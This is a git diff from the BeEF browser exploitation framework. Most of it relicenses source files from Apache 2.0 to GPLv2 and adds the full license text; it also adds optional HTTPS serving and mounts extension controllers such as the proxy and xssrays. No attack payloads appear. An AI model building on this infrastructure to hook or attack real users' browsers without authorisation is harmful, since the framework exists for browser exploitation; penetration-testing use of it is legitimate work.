-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
@@ -48,7 +38,8 @@ module BeEF
'beef_public' => @configuration.get('beef.http.public'),
'beef_public_port' => @configuration.get('beef.http.public_port'),
'beef_dns' => @configuration.get('beef.http.dns'),
- 'beef_hook' => @configuration.get('beef.http.hook_file')
+ 'beef_hook' => @configuration.get('beef.http.hook_file'),
+ 'beef_proto' => @configuration.get('beef.http.https.enable') == true ? "https" : "http"
}
end
@@ -61,9 +52,9 @@ module BeEF
raise Exception::TypeError, '"url" needs to be a string' if not url.string?
if args == nil
- mounts[url] = http_handler_class
+ @mounts[url] = http_handler_class
else
- mounts[url] = http_handler_class, *args
+ @mounts[url] = http_handler_class, *args
end
print_debug("Server: mounted handler '#{url}'")
end
@@ -108,6 +99,13 @@ module BeEF
@configuration.get('beef.http.host'),
@configuration.get('beef.http.port'),
@rack_app)
+
+ if @configuration.get('beef.http.https.enable') == true
+ @http_server.ssl = true
+ @http_server.ssl_options = {:private_key_file => $root_dir + "/" + @configuration.get('beef.http.https.key'),
+ :cert_chain_file => $root_dir + "/" + @configuration.get('beef.http.https.cert'),
+ :verify_peer => false}
+ end
end
end
diff --git a/core/module.rb b/core/module.rb
index bb4fd29ed..4856008ef 100644
--- a/core/module.rb
+++ b/core/module.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Module
diff --git a/core/modules.rb b/core/modules.rb
index 37d7ac953..5dff69520 100644
--- a/core/modules.rb
+++ b/core/modules.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Modules
diff --git a/core/ruby.rb b/core/ruby.rb
index d606555f9..b1d2f53f7 100644
--- a/core/ruby.rb
+++ b/core/ruby.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# @note Patching Ruby Security
diff --git a/core/ruby/hash.rb b/core/ruby/hash.rb
index 1ee46bec0..f24b3f30d 100644
--- a/core/ruby/hash.rb
+++ b/core/ruby/hash.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
class Hash
diff --git a/core/ruby/module.rb b/core/ruby/module.rb
index 7fa3d53d4..3eb170caa 100644
--- a/core/ruby/module.rb
+++ b/core/ruby/module.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
class Module
diff --git a/core/ruby/object.rb b/core/ruby/object.rb
index da57bcfd9..98de6419b 100644
--- a/core/ruby/object.rb
+++ b/core/ruby/object.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
class Object
diff --git a/core/ruby/patches/dm-do-adapter/adapter.rb b/core/ruby/patches/dm-do-adapter/adapter.rb
index 9d5d92a60..01117ab86 100644
--- a/core/ruby/patches/dm-do-adapter/adapter.rb
+++ b/core/ruby/patches/dm-do-adapter/adapter.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
diff --git a/core/ruby/print.rb b/core/ruby/print.rb
index 138809b0c..417fbcdf1 100644
--- a/core/ruby/print.rb
+++ b/core/ruby/print.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# Function used to print errors to the console
diff --git a/core/ruby/security.rb b/core/ruby/security.rb
index b3de1d769..34baa2813 100644
--- a/core/ruby/security.rb
+++ b/core/ruby/security.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
# @note Prevent exec from ever being used
diff --git a/core/ruby/string.rb b/core/ruby/string.rb
index 9f825ebab..7a83138d1 100644
--- a/core/ruby/string.rb
+++ b/core/ruby/string.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
class String
diff --git a/core/settings.rb b/core/settings.rb
index 0be0f6644..2230b7612 100644
--- a/core/settings.rb
+++ b/core/settings.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Settings
diff --git a/docs/COPYING b/docs/COPYING
new file mode 100644
index 000000000..a6eac6ac6
--- /dev/null
+++ b/docs/COPYING
@@ -0,0 +1,348 @@
+COPYING -- Describes the terms under which the Browser Exploitation
+Framework (BeEF) is distributed. A copy of the GNU General Public License
+(GPL) is appended to this file.
+
+BeEF (Browser Exploitation Framework) is (C) 2006-2012 Wade Alcorn.
+
+This program is free software; you may redistribute and/or modify it under
+the terms of the GNU General Public License as published by the Free
+Software Foundation; Version 2 with the clarifications and exceptions
+described below. This guarantees your right to use, modify, and
+redistribute this software under certain conditions. If you wish to embed
+BeEF technology into proprietary software, we sell alternative licenses
+(contact wade@bindshell.net).
+
+Note that the GPL places important restrictions on "derived works", yet it
+does not provide a detailed definition of that term. To avoid
+misunderstandings, we interpret that term as broadly as copyright law
+allows. For example, we consider an application to constitute a "derived
+work" for the purpose of this license if it does any of the following:
+* Integrates source code from BeEF.
+* Reads or includes BeEF copyrighted hook, core components, tests, modules
+ or extensions.
+* Executes BeEF and parses the results.
+* Integrates/includes/aggregates BeEF into a proprietary executable
+ installer, such as those produced by InstallShield.
+* Links to a library or executes a program that does any of the above
+
+The term "BeEF" should be taken to also include any portions or derived
+works of BeEF. This list is not exclusive, but is meant to clarify our
+interpretation of derived works with some common examples. Our
+interpretation applies only to BeEF - we do not speak for other people's
+GPL works.
+
+If you have any questions about the GPL licensing restrictions on using
+BeEF in non-GPL works, we would be happy to help. As mentioned above,
+we also offer alternative license to integrate BeEF into proprietary
+applications and appliances.
+
+If you received these files with a written license agreement or contract
+stating terms other than the terms above, then that alternative license
+agreement takes precedence over these comments.
+
+Source is provided to this software because we believe users have a right
+to know exactly what a program is going to do before they run it.
+
+Source code also allows you to fix bugs and add new features. You are
+highly encouraged to send your changes to wade@bindshell.net for possible
+incorporation into the main distribution. By sending these changes to the
+BeEF developers, to the mailing lists, or via Git pull request, checking
+them into the BeEF source code repository, it is understood (unless you
+specify otherwise) that you are offering the BeEF project the unlimited,
+non-exclusive right to reuse, modify, and relicense the code. BeEF will
+always be available Open Source, but this is important because the
+inability to relicense code has caused devastating problems for other Free
+Software projects (such as KDE and NASM). If you wish to specify special
+license conditions of your contributions, just say so when you send them.
+
+This program is distributed in the hope that it will be useful, but
+WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+General Public License v2.0 for more details at
+http://www.gnu.org/licenses/gpl-2.0.html, or below
+
+****************************************************************************
+
+ GNU GENERAL PUBLIC LICENSE
+ Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+ Preamble
+
+ The licenses for most software are designed to take away your
+freedom to share and change it. By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users. This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it. (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.) You can apply it to
+your programs, too.
+
+ When we speak of free software, we are referring to freedom, not
+price. Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+ To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+ For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have. You must make sure that they, too, receive or can get the
+source code. And you must show them these terms so they know their
+rights.
+
+ We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+ Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software. If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+ Finally, any free program is threatened constantly by software
+patents. We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary. To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+ The precise terms and conditions for copying, distribution and
+modification follow.
+
+ GNU GENERAL PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+ 0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License. The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language. (Hereinafter, translation is included without limitation in
+the term "modification".) Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope. The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+ 1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+ 2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+ a) You must cause the modified files to carry prominent notices
+ stating that you changed the files and the date of any change.
+
+ b) You must cause any work that you distribute or publish, that in
+ whole or in part contains or is derived from the Program or any
+ part thereof, to be licensed as a whole at no charge to all third
+ parties under the terms of this License.
+
+ c) If the modified program normally reads commands interactively
+ when run, you must cause it, when started running for such
+ interactive use in the most ordinary way, to print or display an
+ announcement including an appropriate copyright notice and a
+ notice that there is no warranty (or else, saying that you provide
+ a warranty) and that users may redistribute the program under
+ these conditions, and telling the user how to view a copy of this
+ License. (Exception: if the Program itself is interactive but
+ does not normally print such an announcement, your work based on
+ the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole. If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works. But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+ 3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+ a) Accompany it with the complete corresponding machine-readable
+ source code, which must be distributed under the terms of Sections
+ 1 and 2 above on a medium customarily used for software interchange; or,
+
+ b) Accompany it with a written offer, valid for at least three
+ years, to give any third party, for a charge no more than your
+ cost of physically performing source distribution, a complete
+ machine-readable copy of the corresponding source code, to be
+ distributed under the terms of Sections 1 and 2 above on a medium
+ customarily used for software interchange; or,
+
+ c) Accompany it with the information you received as to the offer
+ to distribute corresponding source code. (This alternative is
+ allowed only for noncommercial distribution and only if you
+ received the program in object code or executable form with such
+ an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it. For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable. However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+ 4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License. Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+ 5. You are not required to accept this License, since you have not
+signed it. However, nothing else grants you permission to modify or
+distribute the Program or its derivative works. These actions are
+prohibited by law if you do not accept this License. Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+ 6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions. You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+ 7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License. If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all. For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices. Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+ 8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded. In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+ 9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time. Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number. If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation. If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+ 10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission. For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this. Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+ NO WARRANTY
+
+ 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+ 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+ END OF TERMS AND CONDITIONS
+
+****************************************************************************
+
diff --git a/docs/boilerplate b/docs/boilerplate
new file mode 100644
index 000000000..d76a93909
--- /dev/null
+++ b/docs/boilerplate
@@ -0,0 +1,3 @@
+Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+Browser Exploitation Framework (BeEF) - http://beefproject.com
+See the file 'doc/COPYING' for copying permission
\ No newline at end of file
diff --git a/extensions/admin_ui/api/command.rb b/extensions/admin_ui/api/command.rb
index d1257fe64..c18dd991d 100644
--- a/extensions/admin_ui/api/command.rb
+++ b/extensions/admin_ui/api/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/api/handler.rb b/extensions/admin_ui/api/handler.rb
index 1f7973e73..e524f4caf 100644
--- a/extensions/admin_ui/api/handler.rb
+++ b/extensions/admin_ui/api/handler.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
@@ -32,12 +22,19 @@ module API
# retrieve the configuration class instance
configuration = BeEF::Core::Configuration.instance
- # registers the http controllers for the AdminUI extensions
- Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each { |http_module|
+ # registers the http controllers used by BeEF core (authentication, logs, modules and panel)
+ Dir["#{$root_dir}/extensions/admin_ui/controllers/**/*.rb"].each do |http_module|
require http_module
mod_name = File.basename http_module, '.rb'
beef_server.mount("/ui/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
- }
+ end
+
+ # registers the http controllers used by BeEF extensions (requester, proxy, xssrays, etc..)
+ Dir["#{$root_dir}/extensions/**/controllers/*.rb"].each do |http_module|
+ require http_module
+ mod_name = File.basename http_module, '.rb'
+ beef_server.mount("/ui/#{mod_name}", BeEF::Extension::AdminUI::Handlers::UI.new(mod_name))
+ end
# mount the folder were we store static files (javascript, css, images) for the admin ui
media_dir = File.dirname(__FILE__)+'/../media/'
diff --git a/extensions/admin_ui/classes/httpcontroller.rb b/extensions/admin_ui/classes/httpcontroller.rb
index 7d6c37965..68948a782 100644
--- a/extensions/admin_ui/classes/httpcontroller.rb
+++ b/extensions/admin_ui/classes/httpcontroller.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/classes/session.rb b/extensions/admin_ui/classes/session.rb
index 85b16b813..0d6990dc1 100644
--- a/extensions/admin_ui/classes/session.rb
+++ b/extensions/admin_ui/classes/session.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/extensions/admin_ui/config.yaml b/extensions/admin_ui/config.yaml
index dde46ca70..9259abf81 100644
--- a/extensions/admin_ui/config.yaml
+++ b/extensions/admin_ui/config.yaml
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
beef:
extension:
diff --git a/extensions/admin_ui/constants/agents.rb b/extensions/admin_ui/constants/agents.rb
index 546f0b0f2..cd7d99f88 100644
